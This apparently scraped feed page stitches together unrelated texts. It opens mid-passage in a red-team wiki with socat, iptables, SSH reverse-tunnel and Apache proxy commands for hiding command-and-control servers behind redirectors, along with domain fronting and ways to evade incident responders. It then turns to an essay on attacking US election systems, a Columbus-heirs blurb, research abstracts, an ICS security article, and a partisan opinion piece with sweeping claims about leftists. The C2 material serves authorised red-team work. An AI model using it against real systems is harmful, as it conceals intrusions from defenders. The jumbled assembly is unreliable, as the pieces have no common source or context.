In this scenario we have our volitile redirector using IPTables to forward all DNS traffic using the rule example described earlier in this section. Next, we create an SSH reverse port forward tunnel from our internal c2 server, to our main redirector. This will forward any traffic the main redirector receives on port 6667 to the internal c2 server on port 6667. Now, start socat on our team server to fork any of the incoming TCP traffic on port 6667 to UDP port 53 which, is what our DNS c2 needs to listen on. Finally, we similarly setup a socat instance on the main redirector to redirect any incoming UDP port 53 traffic into our SSH tunnel on port 6667.

HTTP(S)

Note: When using C2 redirectors, a foreign listener should be configured on your post-exploitation framework to send staging traffic through the redirector domain. This will cause the compromised host to stage through the redirector like the C2 traffic itself.

socat vs mod_rewrite

socat provides a ‘dumb pipe’ redirection. Any request socat receives on the specified source interface/port is redirected to the destination IP/port. There is no filtering or conditional redirecting. Apache mod_rewrite, on the other hand, provides a number of methods to strengthen your phishing and increase the resilience of your testing infrastructure. mod_rewrite has the ability to perform conditional redirection based on request attributes, such as URI, user agent, query string, operating system, and IP. Apache mod_rewrite uses htaccess files to configure rulesets for how Apache should handle each incoming request. Using these rules, you could, for instance, redirect requests to your server with the default wget user agent to a legitimate page on your target's website.

In short, if your redirector needs to perform conditional redirection or advanced filtering, use Apache mod_rewrite. Otherwise, socat redirection with optional iptables filtering will suffice.

socat for HTTP

socat can be used to redirect any incoming TCP packets on a specified port to our team server.

The basic syntax to redirect TCP port 80 on localhost to port 80 on another host is:

socat TCP4-LISTEN:80,fork TCP4:<REMOTE-HOST-IP-ADDRESS>:80

If your redirector is configured with more than one network interface, socat can be bound to a specific interface, by IP address, with the following syntax:

socat TCP4-LISTEN:80,bind=10.0.0.2,fork TCP4:1.2.3.4:80

In this example, 10.0.0.2 is one of the redirector's local IP addresses and 1.2.3.4 is the remote team server's IP address.

iptables for HTTP

In addition to socat, iptables can perform 'dumb pipe' redirection via NAT. To forward the redirector's local port 80 to a remote host, use the following syntax:

iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination <REMOTE-HOST-IP-ADDRESS>:80
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward=1

SSH for HTTP

We have previously covered using SSH for DNS tunnels. SSH works as a solid, and robust means to break through NAT and obtain a way for the implant to connect to a redirector and into your server environment. Before setting up an SSH redirector, you must add the following lines to /etc/ssh/sshd_config:

# Allow the SSH client to specify which hosts may connect
GatewayPorts yes

# Allow both local and remote port forwards
AllowTcpForwarding yes

To forward the redirector's local port 80 to your internal teamsrver, use the following syntax on the internal server:

tmux new -S redir80
ssh <redirector> -R *:80:localhost:80
Ctrl+B, D

You can also forward more than one port, for example if you want 443 and 80 to be open all at once:

tmux new -S redir80443
ssh <redirector> -R *:80:localhost:80 -R *:443:localhost:443
Ctrl+B, D

Payloads and Web Redirection

When serving payload and web resources, we want to minimize the ability for incident responders to review files and increase the chances of successfully executing the payload, whether to establish C2 or gather intelligence.

Sample Apache Redirector Setup

Apache Mod_Rewrite usage and examples by Jeff Dimmock:

Other Apache mod_rewrite usage and examples:

To automatically set up Apache Mod_Rewrite on a redirector server, check out Julain Catrambone's (@n0pe_sled) blog post Mod_Rewrite Automatic Setup and the accompanying tool.

C2 Redirection

The intention behind redirecting C2 traffic is twofold: obscure the backend team server and appear to be a legitimate website if browsed to by an incident responder. Through the use of Apache mod_rewrite and customized C2 profiles or other proxying (such as with Flask), we can reliably filter the real C2 traffic from investigative traffic.

C2 Redirection with HTTPS

Building on "C2 Redirection" above, another method is to have your redirecting server use Apache's SSL Proxy Engine to accept inbound SSL requests, and proxy those to requests to a reverse-HTTPS listener. Encryption is used at all stages, and you can rotate SSL certificates on your redirector as needed.

To make this work with your mod_rewrite rules, you need to place your rules in "/etc/apache2/sites-available/000-default-le-ssl.conf" assuming you've used LetsEncrypt (aka CertBot) to install your certificate. Also, to enable the SSL ProxyPass engine, you'll need the following lines in that same config file:

# Enable the Proxy Engine
SSLProxyEngine On

# Tell the Proxy Engine where to forward your requests
ProxyPass / https://DESTINATION_C2_URL:443/
ProxyPassReverse / https://DESTINATION_C2_URL:443/

# Disable Cert checking, useful if you're using a self-signed cert
SSLProxyCheckPeerCN off
SSLProxyCheckPeerName off
SSLProxyCheckPeerExpire off

Other Apache mod_rewrite Resources

Cobalt Strike

Cobalt Strike modifies its traffic with Malleable C2 profiles. Profiles provide highly-customizable options for modifying how your server’s C2 traffic will look on the wire. Malleable C2 profiles can be used to strengthen incident response evasion, impersonate known adversaries, or masquerade as legitimate internal applications used by the target.

As you begin creating or modifying Malleable C2 profiles, it's important to keep data size limits for the Beacon info placement. For example, configuring the profile to send large amounts of data in a URL parameter will require many requests. For more information about this, check out Raphael Mudge's blog post Beware of Slow Downloads.

If you encounter issues with your Malleable C2 profile and notice the teamserver console outputting errors, refer to Raphael Mudge's blog post Broken Promises and Malleable C2 Profiles for troubleshooting tips.

Empire

Empire uses Communication Profiles, which provide customization options for the GET request URIs, user agent, and headers. The profile consists of each element, separated by the pipe character, and set with the set DefaultProfile option in the listeners context menu.

Here is a sample default profile:

"/CWoNaJLBo/VTNeWw11212/|Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1)|Accept:image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*|Accept-Language:en-en"

Alternatively, the DefaultProfile value can be set by modifying the file /setup/setup_database.py before Empire’s initial setup. This will change the default Communication Profile that Empire will use.

In addition to the Communication Profile, consider customizing the Empire server's staging URIs, server headers, and defaut webpage content by following the steps presented in Joe Vest's (@joevest) post Empire - Modifying Server C2 Indicators.

Leveraging trusted, legitimate web services for C2 can provide a valuable leg-up over using domains and infrastructure you've configured yourself. Configuration time and complexity varies based on the technique and service being used. A popular example of leveraging third-party services for C2 redirection is Domain Fronting.

Domain Fronting

Domain Fronting is a technique used by censorship evasion services and apps to route traffic through legitimate and highly-trusted domains. Popular services that support Domain Fronting include Google App Engine, Amazon CloudFront, and Microsoft Azure. It's important to note that many providers, like Google and Amazon have implemented mitigations against Domain Fronting, so some linked resources or information provided in this wiki may be outdated by the time you try to use it.

In a nutshell, traffic uses the DNS and SNI name of the trusted service provider, Google is used in the example below. When the traffic is received by the Edge Server (ex: located at gmail.com), the packet is forwarded to the Origin Server (ex: phish.appspot.com) specified in the packet’s Host header. Depending on the service provider, the Origin Server will either directly forward traffic to a specified domain, which we’ll point to our team server, or a proxy app will be required to perform the final hop forwarding.

Domain Fronting Overview

For more detailed information about how Domain Fronting works, see the whitepaper Blocking-resistant communication through domain fronting and the TOR Project’s meek documentation

In addition to the standard frontable domains, such as any google.com domain, it's possible to leverage other legitimate domains for fronting.

For more information about hunting frontable domains, check out:

Further Resources on Domain Fronting

PaaS Redirectors

Many PaaS and SaaS providers provide a static subdomain or URL for use with a provisioned instance. If the associated domain is generally highly trusted, the instances could provide extra trust to your C2 infrastructure over a purchased domain and VPS.

To set the redirection up, you will need to identify a service that issues a static subdomain or URL as part of an instance. Then, either the instance will need to be configured with network or application-based redirection. The instance will act as a proxy, similar to the other redirectors discussed on this wiki.

Specific implementation can vary greatly based on the service; however, for an example using Heroku, check out the blog post Expand Your Horizon Red Team – Modern SaaS C2 by Alex Rymdeko-Harvey (@Killswitch_GUI).

Another interesting technique that merits further research is the use of overly-permissive Amazon S3 buckets for C2. Check out the post S3 Buckets for Good and Evil by Andrew Luke (@Sw4mp_f0x) for more details on how S3 buckets could be used for C2. This technique could be combined with the third-party C2 capabilities of Empire to use the target's legitimate S3 buckets against them.

For another example of using PaaS for C2, check out Databases and Clouds: SQL Server as a C2 by Scott Sutherland (@_nullbind).

Other Third-Party C2

Other third-party services have been used in the wild for C2 in the past. Leveraging third-party websites that allow for the rapid posting or modification of user-generated content can help you evade reputation-based controls, especially if the third-party site is generally trusted.

Check out these resources for other third-party C2 options:

Attack infrastructure is often easy to identify, appearing like a shell of a legitimate server. We will need to take additional steps with our infrastructure to increase the likelihood of blending in with real servers amongst either the target organization or services the target may conceivably use.

Redirectors can help blend in by redirecting invalid URIs, expiring phishing payload links, or blocking common incident responder techniques; however, attention should also be paid to the underlying host and its indicators.

For example, in the post Fall of an Empire, John Menerick (@Lord_SQL) covers methods to detect Empire servers on the internet.

To combat these and similar indicators, it's a good idea to modify C2 traffic patterns, modify server landing pages, restrict open ports, and modify default response headers.

For more details about how to do these and other tactics for multiple attack frameworks, check out these posts:

Attack infrastructure can be attacked just the same as any other internet-connected host, and it should be considered HIGHLY sensitive due to the data in use and connections into target environments.

In 2016, remote code execution vulnerabilities were disclosed on the most common attack tools:

iptables should be used to filter unwanted traffic and restrict traffic between required infrastructure elements. For example, if a Cobalt Strike team server will only serve assets to an Apache redirector, iptables rules should only allow port 80 from the redirector’s source IP. This is especially important for any management interfaces, such as SSH or Cobalt Strike’s default port 50050. Also consider blocking non-target country IPs. As an alternative, consider using hypervisor firewalls provided by your VPS providers. For example, Digital Ocean offers Cloud Firewalls that can protect one or multiple droplets.

chattr can be used on team servers to prevent cron directories from being modified. Using chattr, you can restrict any user, including root, from modifying a file until the chattr attribute is removed.

SSH should be limited to public-key authentication only and configured to use limited-rights users for initial login. For added security, consider adding multi-factor authentication to SSH.

Update! No securing list is complete without a reminder to regularly update systems and apply hot-fixes as needed to remediate vulnerabilities.

Of course, this list is not exhaustive of what you can do to secure a team server. Follow common hardening practices on all infrastructure:

Specific Hardening Resources

There are a number of resources available online discussing the secure setup and design of infrastructures. Not every design consideration will be appropriate for every attack infrastructure, but it's useful to know what options are available and what other testers are doing.

Here are some of those resoources:

The topics covered in this wiki strengthen attack infrastrctures, but generally require a good deal of time to design and implement. Automation can be used to greatly reduce deployment times, allowing you to deploy more complex setups in less time.

Check out these resources about attack infrastructure automation:

  • Document everything - Running a complex Red Team infrastructure means many moving parts. Be sure to document each asset’s function and where its traffic is sent.

  • Split assets among different service providers and regions - Infrastructure assets should be spread across multiple service providers and geographic regions. Blue Team members may raise monitoring thresholds against providers identified as actively performing an attack and may even outright block a given service provider. Note: keep international privacy laws in mind if sending encrypted or sensitive data across borders.

  • Don't go overboard - It's easy to get excited about advanced techniques and want to throw the kitchen sink at a target. If you are emulating a specific adversarial threat, only leverage techniques the real threat actor used or techniques within the skillset of the threat actor. If your red team testing will attack the same target long-term, consider starting "easy" and working through the more advanced tradecraft as your assessments go on. Evolving the red team's technique alongside the blue team's will consistenly push the organization forward, whereas hitting the blue team with everything at once may overwhelm the blue team and slow the learning process.

  • Monitor logs - All logs should be monitored throughout the engagement: SMTP logs, Apache logs, tcpdump on socat redirectors, iptables logs (specific to traffic forwarding or targeted filtering), weblogs, Cobalt Strike/Empire/MSF logs. Forward logs to a central location, such as with rsyslog, for easier monitoring. Operator terminal data retention may come in handy for going over an historical command useage during an operation. @Killswitch_GUI created an easy-to-use program named lTerm that will log all bash terminal commands to a central location. Log all terminal output with lTerm. Check out Vincent Yiu's post CobaltSplunk for an example of how to send Cobalt Strike logs to Splunk for advanced infrastructure monitoring and analysis.

  • Implement high-value event alerting - Configure the attack infrastructure to generate alerts for high-value events, such as new C2 sessions or credential capture hits. One popular way of implementing alerting is via a chat platform's API, such as Slack. Check out the following posts about Slack alerting: Slack Shell Bot - Russel Van Tuyl (@Ne0nd0g), Slack Notifications for Cobalt Strike - Andrew Chiles (@AndrewChiles), Slack Bots for Trolls and Work - Jeff Dimmock (@bluscreenfojeff)

  • Fingerprint incident response - If possible, try to passively or actively fingerprint IR actions before the assessment starts. For example, send a mediocre phishing email to the target (using unrelated infrastructure) and monitor traffic that infrastructure receives. IR team investigations can disclose a good deal of information about how the team operates and what infrastructure they use. If this can be determined ahead of the assessment, it can be filtered or redirected outright.

          The Economics of Hacking an Election      Cache   Translate Page   Web Page Cache   

CircleID CircleID: There have been many news stories of late about potential attacks on the American electoral system. Which attacks are actually serious? As always, the answer depends on economics.

There are two assertions I'll make up front. First, the attacker — any attacker — is resource-limited. They may have vast resources, and in particular, they may have more resources than the defenders — but they're still limited. Why? They'll throw enough resources at the problem to solve it, i.e., to hack the election, and use anything left over for the next problem, e.g., hacking the Brexit II referendum… There's always another target.

Second, elections are a system. That is, there are multiple interacting pieces. The attacker can go after any of them; the defender has to protect them all. And protecting just one piece very well won't help; after all, "you don't go through strong security, you go around it." But again, the attacker has limited resources. Their strategy, then, is to find the greatest leverage, the point to attack that costs the defenders the most to protect.

There are many pieces to a voting system; I'll concentrate on the major ones: the voting machines, the registration system, electronic poll books, and vote-tallying software. Also note that many of these pieces can be attacked indirectly, via a supply chain attack on the vendors.

There's another point to consider: what are the attacker's goals? Some will want to change vote totals; others will be content with causing enough obvious errors that no one believes the results — and that can result in chaos.

The actual voting machines get lots of attention. That's partly a hangover from the 2000 Bush–Gore election, where myriad technological problems in Florida's voting system (e.g., the butterfly ballot in Palm Beach County and the hanging chads on the punch card voting machines) arguably cost Gore the state and hence the presidential election.

And purely computerized (DRE — Direct Recording Electronic) voting machines are indeed problematic. They make mistakes. If there's ever a real problem, there's nothing to recount. It's crystal-clear to virtually every computer scientist who has studied the issue that DRE machines are a bad idea. But: if you want to change the results of a nation-wide election or set of elections in the U.S., going after DRE machines is probably the wrong idea. Why not? Because it's too expensive.

There are many different election administrations in the U.S.: about 10,000 of them. Yes, sometimes an entire state uses the same type of machine — but each county administers its own machines. Storing the voting machines? Software updates? Done by the county. Programming the ballot? Done by the county. And if you want to attack them? Yup — you have to go to that county. And voting machines are rarely, if ever, connected to the Internet, which means that you pretty much need physical presence to do anything nasty.

Now, to be sure, if you are at the polling place you may be able to do really nasty things to some voting machines. But it's not an attack that scales well for the attacker. It may be a good way to attack a local election, but nothing larger. A single Congressional race? Maybe, but let's do a back-of-the-envelope calculation. The population of the U.S. is about 325,000,000. That means that each election area has about 32,500 people. (Yes, I know it's very non-uniform. This is a back-of-the-envelope calculation.) There are 435 representatives, so each one has about 747,000 constituents, or about 75 election districts. (Again: back of the envelope.) So: you'd need a physical presence in seven different counties, and maybe many precincts in each county to tamper with the machines there. As I said, it's not an attack that scales very well. We need to fix our voting machines — after all, think of Florida in 2000 — but for an attacker who wants to change the result of a national election, it's not the best approach.

There's one big exception: a supply chain attack might be very feasible for a nation-state attacker. There are not many vendors of voting equipment; inserting malware in just a few places could work very well. But there's a silver lining in that cloud: because there are many fewer places to defend than 50 states or 10,000 districts, defense is much less expensive and hence more possible — if we take the problem seriously.

And don't forget the chaos issue. If, say, every voting machine in a populous county of a battleground state showed a preposterous result — perhaps a 100% margin for some candidate, or 100 times as many votes cast as there are registered voters in the area — no one will believe that that result is valid. What then? Rerun the voting in just that county? Here's what the Constitution says:

The Congress may determine the Time of chusing the Electors, and the Day on which they shall give their Votes; which Day shall be the same throughout the United States.

The voter registration systems are a more promising target for an attacker. While these are, again, locally run, there is often a statewide portal to them. In fact, 38 states have or are about to have online voter registration.

In 2016, Russia allegedly attacked registration systems in a number of states. Partly, they wanted to steal voter information, but an attacker could easily delete or modify voter records, thus effectively disenfranchising people. Provisional ballots? Sure, if your polling place has enough of them, and if you and the poll workers know what to do. I've been a poll worker. Let's just say that handling exceptional cases isn't the most efficient process. And consider the public reaction if many likely supporters (based on demographics) of a given candidate are the ones who are disproportionately deleted. (Could the attackers register phony voters? Sure, but to what end? In-person voter fraud is exceedingly rare; how many times can Boris and Natasha show up to vote? Again, that doesn't scale. That's also why requiring an ID to vote is solving a non-problem.)

There's another point. Voting software is specialized; its attack surface should be low. It's possible to get that wrong, as in some now-decertified Virginia voting machines, and there's always the underlying operating system; still, if the machines aren't networked, during voting the only exposure should be via the voting interface.

A lot of registration software, though, is a more-or-less standard web platform and is, therefore, subject to all of the risks of any other web service. SQL injection, in particular, is a very real risk. So an attack on the registration system is not only more scalable, it's easier.

Before the election, voter rolls are copied to what are known as poll books. Sometimes, these are paper books; other places use electronic ones. The electronic ones are networked to each other; however, they are generally not connected to the Internet. If that networking is set up incorrectly, there can be risks; generally, though, they're networked on a LAN. That means that you have to be at the polling place to exploit them. In other words, there's some risk, but it's not much greater than the voting machines.

There's one more critical piece: the vote-tallying software. Tallies from each precinct are transmitted to the county's election board; there may be links to the state, to news media, etc. In other words, this software is networked and hence very subject to attack. However: this is used for the election night count; different procedures can be and often are used for the official canvas. And even without attacks, many things can go wrong:

In Iowa, a hard-to-read fax from Scott County caused election officials initially to give Vice President Gore an extra 2,006 votes. In Outagamie County, Wis., a typo in a tally sheet threw Mr. Bush hundreds of votes he hadn't won.

But: the ability to do a more accurate count the second time around depends on there being something different to count: paper ballots. That's what saved the day in 2000 in Bernalillo County, New Mexico. The problem: ``The paper tallies, resembling grocery-store receipts, seemed to show that many more ballots had been cast overall than were cast in individual races. For example, tallies later that night would show that, of about 38,000 early ballots cast, only 25,000 were cast for Mr. Gore or Mr. Bush.'' And the cause? Programming the vote-counting system:

As they worked, Mr. Lucero's computer screen repeatedly displayed a command window offering a pull-down menu. From the menu, the two men should have clicked on "straight party." Either they didn't make the crucial click, or they did and the software failed to work. As a result, the Accu-Vote machines counted a straight-party vote as one ballot cast, but didn't distribute any votes to each of the individual party candidates.

To illustrate: If a voter filled in the oval for straight-party Democrat, the scanner would record one ballot cast but wouldn't allocate votes to Mr. Gore and other Democratic candidates.

Crucially, though, once they fixed the programming they could re-tally those paper ballots. (By the way, programming the tallying computer can itself be complex. Bernalillo County, which had a population of 557,000 then, required 114 different ballots.)

There's a related issue: the systems that distribute votes to the world. Alaska already suffered such an attack; it could happen elsewhere, too. And it doesn't have to be via hacking; a denial of service attack could also do the job of causing chaos.

The best way to check the ballot-counting software is risk-limiting audits. A risk-limiting audit checks a random subset of the ballots cast. The closer the apparent margin, the more ballots are checked by hand. "Risk-limiting audits guarantee that if the vote tabulation system found the wrong winner, there is a large chance of a full hand count to correct the results." And it doesn't matter whether the wrong count was due to buggy software or an attack. In other words, if there is a paper trail, and if it's actually looked at, via either a full hand-count or a risk-limiting audit, the tallying software isn't a good target for an attacker. One caveat: how much chaos might there be if the official count or the recount deliver results significantly different than the election night fast count?

There's one more point: much of the election machinery, other than the voting machines themselves, are an ordinary IT installation, and hence are subject to all of the security ills that any other IT organization can be subject to. This specifically includes things like insider attacks and ransomware — and some attackers have been targeting local governments:

Attempted ransomware attacks against local governments in the United States have become unnervingly common. A 2016 survey of chief information officers for jurisdictions across the country found that obtaining ransom was the most common purpose of cyberattacks on a city or county government, accounting for nearly one-third of all attacks.

The threat of attacks has induced at least one jurisdiction to suspend online return of absentee ballots. They're wise to be cautious — and probably should have been that cautious to start.

Again, elections are complex. I've only covered the major pieces here; there are many more ways things can go wrong. But of this sample, it's pretty clear that the attackers' best target is the registration system. (Funny, the Russians seemed to know that, too.) Actual voting machines are not a great target, but the importance of risk-limiting audits (even if the only problem is a close race) means that replacing DRE voting machines with something that provides a paper trail is quite important. The vote-counting software is even less interesting if proper audits are done, though don't discount the utility to some parties of chaos and mistrust.

          The Ultimate Rich Kids Were the Children of Famous Explorers      Cache   Translate Page   Web Page Cache   

When Cristóbal Colón/Christopher Columbus happened upon the New World, ripe for exploitation, he became a very wealthy man, although most of the riches went to the king of Spain for sponsoring the trip. But what happened afterward? Colón had two sons, Fernando and Diego, who inherited his wealth, but were they to inherit a portion of the lands their father "discovered," or a portion of what it produced, or just what Cristóbal left them when he died? The Spanish crown had passed to another generation as well, and Charles V did not see eye to eye with Colón's heirs.     

While Fernando was spending money, Diego was trying to consolidate his family’s status as one of the most powerful families in the “New World,” with control over Hispaniola, Puerto Rico, Jamaica, and Cuba. Before his father’s first voyage, in 1492, Queen Isabella and King Ferdinand had agreed that, if his quest succeeded, Cristóbal Colón would be entitled to 10 percent of the takings of his voyage, plus a bevy of titles. Every time Diego tried to claim what he thought he was owed, the crown fought back. When he died, his father’s legacy was still contested.

The monarchy’s legal case rested on the idea that it wasn’t Colón, but one of his ship’s captains, who had first discovered the Americas. Ultimately, Diego’s widow went into arbitration with the crown, and his son, Luis Colón de Toledo, came out with a title—Admiral of the Indies—control of Jamaica, an estate in Panama, and a 10,000-ducat annuity that was meant to last in perpetuity.

It was, perhaps, less than the Colón family thought they were owed and less than Cristóbal’s contract specified. But the Colón family came out ahead of other scions of conquistadors.

The Age of Exploration enriched quite a few European families, who had varying degrees of success dealing with the riches and legacy of their explorer fathers. Read the adventures of the descendants of Hernán Cortés (who had a son in the New World and a son in the Old World, and named them both Martin), Francisco Pizarro, and Cristóbal Colón at Atlas Obscura.

          Urban Traffic Prediction from Mobility Data Using Deep Learning      Cache   Translate Page   Web Page Cache   
Traffic information is of great importance for urban cities, and accurate prediction of urban traffics has been pursued for many years. Urban traffic prediction aims to exploit sophisticated models to capture hidden traffic characteristics from substantial historical mobility data and then makes use of trained models to predict traffic conditions in the future. Due to the powerful capabilities of representation learning and feature extraction, emerging deep learning becomes a potent alternative for such traffic modeling. In this article, we envision the potential and broard usage of deep learning in predictions of various traffic indicators, for example, traffic speed, traffic flow, and accident risk. In addition, we summarize and analyze some early attempts that have achieved notable performance. By discussing these existing advances, we propose two future research directions to improve the accuracy and efficiency of urban traffic prediction on a large scale.

Word-Fi is a handwriting input system, driven by wireless backscattering technology and machine learning methods. It could effectively mitigate the surrounding noise and extract the weak signals incurred by tiny writing gestures accurately. Leveraging our customized wireless backscattering system, Word-Fi could be noise tolerant across relatively complex environments, especially when multiple persons are presented around, which significantly differs from status quo wireless sensing systems that suffer from multi-user presentation. For weak signal extraction, Word- Fi incorporates an efficient feature selection scheme for classification and improves the classifier by fully exploiting the physical layer information. After using the word suggestion module, it could recognize writing words with fairly high accuracy (above 90 percent) across different volunteers (7-10).
          Reliable and Opportunistic Transmissions for Underwater Acoustic Networks      Cache   Translate Page   Web Page Cache   
Acoustic waves propagate slowly in water, and time-varying UACs result in inevitably high bit error rate and packet loss rate. The long propagation delay and the error-prone nature of UACs impose challenges on reliable transmissions in UANs. In this article, we identify the challenges for reliable acoustic transmissions and propose a CL-FEC scheme, which achieves opportunistic transmissions to overcome the frequent transmission failures in UACs. CL-FEC adopts fountain codes as a packet-level FEC and adopts channel codes as a bit-level FEC, to realize reliable transmissions over UACs without per-packet feedback. To further improve the throughput of CL-FEC, we formulate the transmissions over UACs into a stochastic throughput optimization problem. A discrete stochastic approximation based algorithm is then developed to achieve the optimal CL-FEC by online exploiting channel estimating and algorithm iterations. Simulation results show the asymptotic convergence and the iterative optimality of the algorithm.

What It Takes to Defend Against Growing Threats to ICS and SCADA Systems juliet.vanwage… Wed, 08/08/2018 - 12:34

As utilities get smarter and more connected, the threat landscape for energy systems becomes vaster and more dangerous than ever before.

The ever-increasing threat of attacks against industrial control systems (ICS) and supervisory control and data acquisition (SCADA) systems makes building a strong, layered defense critically important for energy and utility companies.

A layered defense should consist of a combination of security frameworks, security technology solutions and security services designed to provide an overlapping set of controls that protect against risks.

Security Frameworks Build Strong Policies for Cyberdefenses

Security frameworks offer guidance for organizations seeking to design a comprehensive set of security controls. They provide best practices and advice that companies can customize for a specific operating environment. An excellent source for framework standards is the National Institute of Standards and Technology (NIST), a federal agency that produces cybersecurity standards for use in government and industry.

The NIST Cybersecurity Framework (CSF) is a wide-reaching set of materials that provides advice on five core activities in the cybersecurity realm. The CSF helps organizations adopt a risk-based approach that balances the costs and benefits of specific security controls.

The five activities include:

  • Identify core risks to an organization’s systems, assets, data and capabilities.
  • Protect systems and data to limit or contain cybersecurity incidents.
  • Detect occurrences of cybersecurity events.
  • Respond appropriately to detected events.
  • Recover from the impact of cybersecurity incidents.

While the CSF is designed to be used across industries, NIST also provides specific guidance for energy and utility companies operating SCADA and other ICSs. “NIST Special Publication 800-82: Guide to Industrial Control Systems (ICS) Security” provides detailed information on ICS threats, vulnerabilities and security controls.

Solutions Keep Energy Sector Security Threats at Bay

SCADA and ICS cybersecurity programs use a variety of technical solutions to meet the confidentiality, integrity and availability requirements of these critical infrastructure systems. Controls include multifactor authentication, firewalls, mobile device management, anti-virus, security information and event management systems, virtual private networks and patch management technology.

Multifactor authentication adds enhanced security to access control systems. Rather than simply relying on an easily stolen password, multifactor authentication supplements “something you know” authentication with an additional requirement based on either something users possess, such as a smartphone or token (“something you have”), or user’s biometric feature, such as a fingerprint or voice (“something you are”), to verify identify. Multifactor authentication should always be used to protect access to sensitive SCADA systems, even if it’s not required to access a wider enterprise network. Firewalls segment networks from each other, carefully restricting traffic that may flow between them.

They are commonly found separating internal networks from the internet, but they can also be used internally to segment sensitive networks from general-purpose networks. Many energy and utility companies use firewalls to separate their SCADA networks from their general productivity networks.

When technology professionals use firewalls to separate networks, they must also provide authorized users access to those networks remotely. Virtual private networks (VPNs) provide an ideal solution. Authorized users employ a VPN client to create a secure, encrypted connection to the SCADA network, where they may access infrastructure. VPN access is typically restricted using multifactor authentication.

Both SCADA systems and the workstations that engineers use to access those systems must have carefully monitored configurations. Patch and configuration management solutions allow cybersecurity professionals to ensure all devices on SCADA/ ICS networks are configured according to the organization’s security standards, and that patches are up to date.

If users access SCADA systems using smartphones, tablets or other mobile devices, specialized configuration management is often required. Mobile device management (MDM) or enterprise mobility management (EMM) solutions allow administrators to manage configurations, security patches, applications and other settings on devices, and also remotely lock or wipe devices reported as lost or stolen.

Anti-virus software is standard on almost every enterprise system, from laptops to servers, and that should also be true in a SCADA environment. Devices capable of running anti-malware software should run it at all times and be configured to receive automatic signature updates on a daily basis, if not more frequently.

Finally, organizations should prepare for the eventuality that they may experience a security incident on their SCADA/ICS networks. Security information and event management (SIEM) solutions act as a collection and correlation point for log and event information from every cybersecurity technology deployed systemwide. Security professionals use SIEM as a centralized monitoring dashboard and the jumping-off point for security incident investigations.

As organizations design their SCADA security programs, they may wish to begin with industry standard frameworks, such as those available from NIST. Those frameworks offer guidance to help energy and utility companies select the security technology that best meets their needs.

Services Bolster Internal Defenses with Outside Support

In addition to building a strong set of cybersecurity technology controls, energy and utility companies should also consider security services from third-party vendors with specific expertise in SCADA and ICS technology. Vendors offer a wide variety of security services, including implementation and management of security controls.

Many organizations use third-party assessors to conduct testing on security controls. That approach is widely considered a best practice in cybersecurity circles because it introduces a degree of independence into the assessment process by using personnel who did not design the controls to perform the evaluation.

Vulnerability testing services conduct automated and manual scans of SCADA and ICS networks to detect the presence of known vulnerabilities that require remediation. Penetration testing services go a step further by attempting to exploit vulnerabilities to gain access to the ICS network, demonstrating the potential effects of a malicious attack.

          Brandon Smith: The Strengths And Weaknesses Of Leftists Vs Conservatives      Cache   Translate Page   Web Page Cache   

Authored by Brandon Smith via Alt-Market.com,

Before I jump into this subject matter, I should probably address a common misconception among people who are new to liberty movement activism. The first time people hear about the concept of the “false left/right paradigm,” they wrongly assume that this means there is “no left or right ideology,” that it is all fabricated to divide the masses. This is a misconception.

When we speak of the false left/right paradigm in the liberty movement, we are usually referring to the elitists at the top of the political and financial pyramid. These people do NOT have any loyalty to any one political party, nor do they hold to the beliefs of one side or the other. They are happy, though, to exploit leftists or conservatives by targeting their weaknesses.  They do this in order to create a social outcome that elevates the elitist’s own goals, but that is all. Meaning, these people are globalists and have their own agenda separate from the political left or right, but will pretend to stand on one side or the other in order to control the narrative. Hence, the “falseness” of their particular left/right theater.

The common citizen, however, does indeed tend to legitimately rest his or her ideals on a spectrum from left to right, from progressive to conservative. And lately, the separation between these two sides has been growing ever wider.

To be clear, it is not playing into the hands of the globalists to point out the differences in the two sides.  The two sides are concrete, they are a natural extension of human though processes, and they would exist even if the globalists did not exist.  The globalists did not create left vs right philosophical differences, this is giving them too much credit.  They only seek to take advantage of divisions in thought that already exist.

Where things go horribly wrong is when one side or the other is pushed artificially towards zealotry. This is where the globalists create chaos, by influencing the left or the right into subverting their own principles and abandoning diplomacy in the name of destroying the other side.  This is when disagreements become war and the political process becomes a blood feud.  Globalists sometimes attempt to conjure such violent conditions when they want to wipe the slate clean and introduce a new social system. Generally, their goal is even more centralization and control.

Over the years I have been critical of BOTH sides of the political spectrum, and sometimes even more critical of liberty activists when I see the movement being led astray by disinformation. The reality is that both leftists and conservatives sense severe imbalances in the way our society and our government functions. Where we differ greatly is in how each side places blame for our problems and how they plan to solve those imbalances.

In order to understand why the left and the right are so close to open war, we have to step outside the political bubble and look at our differences in a more objective way. First, let’s start with an examination of the leftist mindset...

How Leftists View The World

The key to understanding leftists resides in their inclination toward collectivism as a means of protection and power. To put it more bluntly, leftists love and embrace the mob mentality.

This is why the political left seems to organize so much more effectively than conservatives in many cases. While conservatives engage in internal debates with each other over principles and practical solutions, leftists are far more single-minded in their pursuit of social influence. They seem to gravitate to each other like ants around a sugar cube, and in this they can be effective in removing obstacles and gaining political territory. This could be considered a strength, but it can also act as a weakness.

The leftists ideal is one in which all people are in general agreement — they think all people are tied together in a great social chain, that every individual action has consequences for everyone else in that chain and, therefore, all individual actions no matter how small should be regulated in order to avoid one person adding to a potential disaster for the rest of humanity.  True individualism is seen as "selfish" and disruptive to the survival prospects of the group.

Thus, the notion of “society” becomes a control mechanism used by leftists. “We are all part of this society, whether we like it or not.” They often say, “People have to accept the rules for the greater good of the greater number.”

When we look at this objectively, this is clearly a brand of totalitarianism posing as humanitarian rationality. Who decides what is the “greater good?” Well, our inherent conscience does that, but conscience is an individual trait. When mobs get together and engage in mob thinking, conscience tends to go out the window.

For example, it is impossible to institute such a thing as “social justice;” arbitrarily homogenizing an entire group based on their skin color, sexual orientation, financial status, etc. and then deciding how they should be rewarded (or punished) erases the individual accomplishments and crimes of the people within that group you just arbitrarily created.

It is true that some behaviors tend to be cultural, and in that case, the most we can do morally is point out those behaviors and applaud or criticize. In the case of globalists, you have an actual example of organized criminality within a definable group of people. This can indeed be judged on a broad scale but still must be punished based on individual actions.

